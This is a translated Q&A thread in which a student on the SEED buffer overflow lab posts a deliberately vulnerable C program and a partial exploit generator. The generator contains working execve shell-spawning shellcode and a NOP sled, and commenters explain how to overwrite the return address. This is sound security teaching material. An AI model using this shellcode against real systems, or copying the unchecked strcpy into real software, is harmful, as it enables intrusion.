2012-03-12 51 views
11

我正在開發一個項目,我要寫一個C程序來利用給定程序的漏洞。利用BufferOverflow

這裏是脆弱的C程序:

#include <stdlib.h> 
#include <stdio.h> 

int bof(char *str) 
{ 
    char buffer[12]; 
    strcpy(buffer, str); 
    return 1; 
} 

int main(int argc, char **argv) 
{ 
    char str[517]; 
    FILE *badfile; 
    badfile = fopen("badfile", "r"); 
    fread(str, sizeof(char), 517, badfile); 
    bof(str); 
    printf("Returned Properly\n"); 
    return 1; 
} 

這裏是代碼漏洞:

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
char shellcode[]= 
"\x31\xc0" /* xorl %eax,%eax */ 
"\x50"  /* pushl %eax  */ 
"\x68""//sh"/* pushl $0x68732f2f */ 
"\x68""/bin"/* pushl $0x6e69622f */ 
"\x89\xe3" /* movl %esp,%ebx */ 
"\x50"  /* pushl %eax  */ 
"\x53"  /* pushl %ebx  */ 
"\x89\xe1" /* movl %esp,%ecx */ 
"\x99"  /* cdql    */ 
"\xb0\x0b" /* movb $0x0b,%al */ 
"\xcd\x80" /* int $0x80  */ 
; 

void main(int argc, char **argv) 
{ 
    char buffer[517]; 
    FILE *badfile; 

    /* Initialize buffer with 0x90 (NOP instruction) */ 
    memset(&buffer, 0x90, 517); 

    /* Fill the buffer with appropriate contents here */ 

    /* Save the contents to the file "badfile" */ 
    badfile = fopen("./badfile", "w"); 
    fwrite(buffer, 517, 1, badfile); 
    fclose(badfile); 
} 

所以,我需要保存到「BADFILE之前,以填補相應的內容緩存」。我讀了很多關於緩衝區溢出的信息,我想我需要修改易受攻擊程序的返回地址。但我真的不知道我該怎麼做。 我應該首先找到原來的退貨地址,還是有我能做的其他事情? 另外,關於我應該如何實現緩衝區的任何想法/建議?

+1

只是想我會發布鏈接到[項目](http://www.cis.syr.edu/~wedu/seed/Labs/Vulnerability/Buffer_Overflow/)。 – Mehrdad 2012-03-12 23:27:44

+1

您需要計算緩衝區的偏移量,最終覆蓋保存的返回指針,然後調整該偏移量的值以指向最終執行緩衝區其餘部分的指令(如'jmp esp' )。 – 2012-03-12 23:27:50

+2

如果項目是[學校](http://meta.stackexchange.com/q/10811/133817),請明確提及。關於SO的問題應該更直接針對您自己的代碼,而不是這個(詳情請參閱鏈接);如果你甚至不知道從哪裏開始,最好問問你的老師或助教。這是他們應該在課堂上或在你的材料中涵蓋的內容。 – outis 2012-03-12 23:32:21

回答

1

我建議閱讀Metasploit Unleashed上的頁面,從this one開始。你可以通過關聯的ruby模塊,看看實際發生了什麼,然後移植到C上。雖然不重要,但它演示了所需的方法。

也像其他人所說的那樣,使用調試器對於弄清楚發生了什麼很重要。獲得一個體面的,如cgdb,ddd,pyclewngdb-mode,將使生活更容易。